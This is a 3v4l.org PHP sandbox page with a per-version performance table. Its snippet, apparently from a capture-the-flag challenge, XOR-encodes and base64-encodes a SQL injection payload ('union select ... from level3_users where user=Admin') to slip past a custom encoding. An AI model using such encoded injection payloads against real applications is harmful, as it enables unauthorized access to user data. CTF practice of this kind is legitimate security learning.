3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0 union select 1,2,3,4,5 from level3_users where user=Admin")); decrypt(""); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0180.00017.00
8.3.50.0110.01117.69
8.3.40.0040.01119.20
8.3.30.0060.01018.79
8.3.20.0040.00419.03
8.3.10.0050.00520.66
8.3.00.0060.00319.40
8.2.180.0000.01617.00
8.2.170.0070.00722.96
8.2.160.0100.00721.14
8.2.150.0150.00324.18
8.2.140.0100.01024.66
8.2.130.0090.00026.16
8.2.120.0040.00420.84
8.2.110.0060.00321.02
8.2.100.0080.00417.97
8.2.90.0000.01021.07
8.2.80.0080.00018.03
8.2.70.0030.00617.75
8.2.60.0050.00517.93
8.2.50.0050.00318.07
8.2.40.0080.00018.28
8.2.30.0040.00418.20
8.2.20.0000.00917.95
8.2.10.0000.00818.05
8.2.00.0000.00817.93
8.1.280.0100.00725.92
8.1.270.0050.00324.66
8.1.260.0050.00326.35
8.1.250.0030.00528.09
8.1.240.0060.00322.62
8.1.230.0040.00820.93
8.1.220.0000.00817.77
8.1.210.0000.00819.16
8.1.200.0040.00417.48
8.1.190.0000.00817.52
8.1.180.0040.00418.10
8.1.170.0040.00418.93
8.1.160.0050.00318.88
8.1.150.0000.00718.79
8.1.140.0030.00617.55
8.1.130.0000.00717.89
8.1.120.0040.00717.61
8.1.110.0080.00017.64
8.1.100.0040.00417.67
8.1.90.0000.00717.67
8.1.80.0000.00817.55
8.1.70.0000.00717.62
8.1.60.0000.00817.70
8.1.50.0040.00417.71
8.1.40.0000.00817.74
8.1.30.0060.00317.80
8.1.20.0000.00917.88
8.1.10.0040.00417.75
8.1.00.0090.00017.61
8.0.300.0040.00419.98
8.0.290.0040.00417.00
8.0.280.0030.00318.42
8.0.270.0030.00317.37
8.0.260.0000.00718.50
8.0.250.0000.00717.22
8.0.240.0000.00717.18
8.0.230.0040.00417.19
8.0.220.0030.00417.02
8.0.210.0030.00317.05
8.0.200.0040.00417.09
8.0.190.0040.00417.11
8.0.180.0000.00817.05
8.0.170.0000.00917.19
8.0.160.0070.00017.05
8.0.150.0030.00617.17
8.0.140.0030.00517.12
8.0.130.0000.00613.45
8.0.120.0000.00717.16
8.0.110.0040.00417.16
8.0.100.0000.00717.09
8.0.90.0040.00417.19
8.0.80.0150.00017.07
8.0.70.0040.00416.95
8.0.60.0040.00417.17
8.0.50.0040.00417.16
8.0.30.0080.01517.54
8.0.20.0110.01117.28
8.0.10.0050.00217.10
8.0.00.0110.00717.14
7.4.330.0000.00613.35
7.4.320.0030.00316.78
7.4.300.0040.00416.86
7.4.290.0000.01116.85
7.4.280.0040.00416.86
7.4.270.0000.00716.77
7.4.260.0030.00313.46
7.4.250.0000.00816.71
7.4.240.0030.00316.75
7.4.230.0050.00216.94
7.4.220.0030.01516.91
7.4.210.0070.00916.77
7.4.200.0030.00516.96
7.4.190.0060.00316.92
7.4.160.0130.00316.50
7.4.150.0160.00916.65
7.4.140.0140.00516.70
7.4.130.0130.00416.79
7.4.120.0100.00816.83
7.4.110.0110.00616.94
7.4.100.0070.01016.73
7.4.90.0160.00616.80
7.4.80.0100.01319.39
7.4.70.0070.01016.66
7.4.60.0080.00916.88
7.4.50.0030.01016.52
7.4.40.0040.01116.60
7.4.30.0160.00016.64
7.4.00.0100.00615.45
7.3.330.0000.00613.44
7.3.320.0030.00313.48
7.3.310.0080.00016.62
7.3.300.0030.00316.64
7.3.290.0060.01316.57
7.3.280.0060.01116.63
7.3.270.0090.00916.64
7.3.260.0100.00716.84
7.3.250.0100.01016.75
7.3.240.0070.01016.98
7.3.230.0130.00316.60
7.3.210.0100.00616.88
7.3.200.0100.00717.01
7.3.190.0130.01016.66
7.3.180.0030.01416.63
7.3.170.0080.00916.55
7.3.160.0030.01916.78
7.3.120.0080.00814.79
7.3.10.0090.00916.48
7.3.00.0180.01216.22
7.2.330.0090.00916.93
7.2.320.0180.00616.66
7.2.310.0060.01516.66
7.2.300.0030.01316.91
7.2.290.0040.01417.02
7.2.130.0060.01616.86
7.2.120.0060.01216.98
7.2.110.0100.00716.90
7.2.100.0130.00616.69
7.2.90.0170.00016.86
7.2.80.0160.00317.07
7.2.70.0090.01916.80
7.2.60.0180.00416.84
7.2.50.0210.00316.98
7.2.40.0240.00716.82
7.2.30.0040.01617.15
7.2.20.0120.00916.83
7.2.10.0090.00616.81
7.2.00.0060.00818.42
7.1.250.0060.00915.76
7.1.100.0100.00318.26
7.1.70.0030.01317.31
7.1.60.0130.01019.40
7.1.50.0000.01117.25
7.1.00.0070.05322.52
7.0.200.0000.00916.92
7.0.140.0100.06722.07
7.0.120.0030.07321.96
7.0.60.0070.08719.85
7.0.50.0130.07317.94
7.0.40.0030.08020.05
7.0.30.0330.07320.14
7.0.20.0170.04020.22
7.0.10.0270.07320.18
7.0.00.0030.04320.25
5.6.280.0130.06321.04
5.6.210.0170.07020.52
5.6.200.0030.04718.20
5.6.190.0100.04320.47
5.6.180.0330.06320.48
5.6.170.0230.08320.57
5.6.160.0030.04720.43
5.6.150.0100.08018.18
5.6.140.0200.04018.15
5.6.130.0000.09018.19
5.6.120.0070.04021.00
5.6.110.0170.06720.99
5.6.100.0170.07320.90
5.6.90.0130.04720.98
5.6.80.0000.04020.38
5.6.70.0130.08720.35
5.5.350.0330.05720.44
5.5.340.0070.08318.11
5.5.330.0030.06020.45
5.5.320.0230.08720.19
5.5.310.0300.07720.35
5.5.300.0130.06718.08
5.5.290.0070.03717.98
5.5.280.0070.04720.90
5.5.270.0070.07320.96
5.5.260.0100.08320.66
5.5.250.0130.07020.78
5.5.240.0100.03320.38
5.4.450.0000.05319.49
5.4.440.0030.06319.20
5.4.430.0000.04719.58
5.4.420.0030.07019.39
5.4.410.0030.05019.04
5.4.400.0030.06019.15
5.4.390.0070.07718.85
5.4.380.0070.05318.85
5.4.370.0070.03719.24
5.4.360.0030.04019.14
5.4.350.0100.05718.85
5.4.340.0030.04019.10
5.4.320.0070.04019.16
5.4.310.0130.07018.87
5.4.300.0070.03718.92
5.4.290.0000.04319.14
5.4.280.0070.04318.86
5.4.270.0030.04319.24
5.4.260.0000.05018.87
5.4.250.0070.04318.87
5.4.240.0030.05718.92
5.4.230.0070.07718.86
5.4.220.0100.07318.85
5.4.210.0130.06719.11
5.4.200.0130.07019.14
5.4.190.0030.05319.14
5.4.180.0130.06719.23
5.4.170.0100.07319.23
5.4.160.0000.04018.85
5.4.150.0070.07718.84
5.4.140.0030.07016.60
5.4.130.0000.06016.47
5.4.120.0070.07716.33
5.4.110.0100.06016.37
5.4.100.0100.06316.48
5.4.90.0000.07316.48
5.4.80.0130.07016.33
5.4.70.0070.07016.42
5.4.60.0030.07716.27
5.4.50.0030.07316.36
5.4.40.0130.04016.36
5.4.30.0100.06716.36
5.4.20.0000.07016.26
5.4.10.0100.07016.35
5.4.00.0000.04015.88
5.3.290.0030.04014.67
5.3.280.0030.04014.74
5.3.270.0030.07314.69
5.3.260.0070.07714.61
5.3.250.0000.04314.62
5.3.240.0030.04314.63
5.3.230.0070.03714.60
5.3.220.0070.07314.61
5.3.210.0100.07714.72
5.3.200.0070.05014.73
5.3.190.0030.06314.61
5.3.180.0030.07714.64
5.3.170.0100.04314.72
5.3.160.0030.07714.72
5.3.150.0000.04014.72
5.3.140.0070.04014.48
5.3.130.0100.05714.63
5.3.120.0170.07014.60
5.3.110.0070.04314.71
5.3.100.0030.07714.04
5.3.90.0100.05014.10
5.3.80.0030.04714.07
5.3.70.0070.03713.95
5.3.60.0030.07314.07
5.3.50.0000.05013.91
5.3.40.0030.07313.93
5.3.30.0000.04013.97
5.3.20.0030.06313.88
5.3.10.0200.05713.61
5.3.00.0000.04313.65
5.2.170.0000.03311.20
5.2.160.0130.05011.21
5.2.150.0070.05711.16
5.2.140.0000.05711.14
5.2.130.0030.03711.11
5.2.120.0030.05311.16
5.2.110.0030.03711.11
5.2.100.0070.03711.12
5.2.90.0070.06011.15
5.2.80.0030.03011.10
5.2.70.0030.06011.11
5.2.60.0000.04311.11
5.2.50.0030.03710.94
5.2.40.0000.04311.02
5.2.30.0070.05711.05
5.2.20.0030.03011.12
5.2.10.0070.05010.77
5.2.00.0030.05310.73
5.1.60.0000.03010.02
5.1.50.0030.05710.06
5.1.40.0070.0339.89
5.1.30.0030.02710.40
5.1.20.0100.02310.36
5.1.10.0030.03310.14
5.1.00.0100.02010.14
5.0.50.0030.0508.46
5.0.40.0000.0238.43
5.0.30.0030.0308.21
5.0.20.0000.0308.27
5.0.10.0030.0278.21
5.0.00.0000.0338.21
4.4.90.0070.0308.21
4.4.80.0000.0378.21
4.4.70.0030.0378.21
4.4.60.0000.0338.21
4.4.50.0000.0208.21
4.4.40.0000.0538.21
4.4.30.0030.0208.21
4.4.20.0030.0238.21
4.4.10.0070.0308.21
4.4.00.0030.0578.21
4.3.110.0030.0138.21
4.3.100.0070.0308.21
4.3.90.0000.0208.21
4.3.80.0000.0278.21
4.3.70.0000.0178.21
4.3.60.0000.0178.21
4.3.50.0000.0178.21
4.3.40.0030.0438.21
4.3.30.0030.0238.21
4.3.20.0000.0378.21
4.3.10.0030.0238.21
4.3.00.0000.0378.21

preferences:
62.74 ms | 401 KiB | 5 Q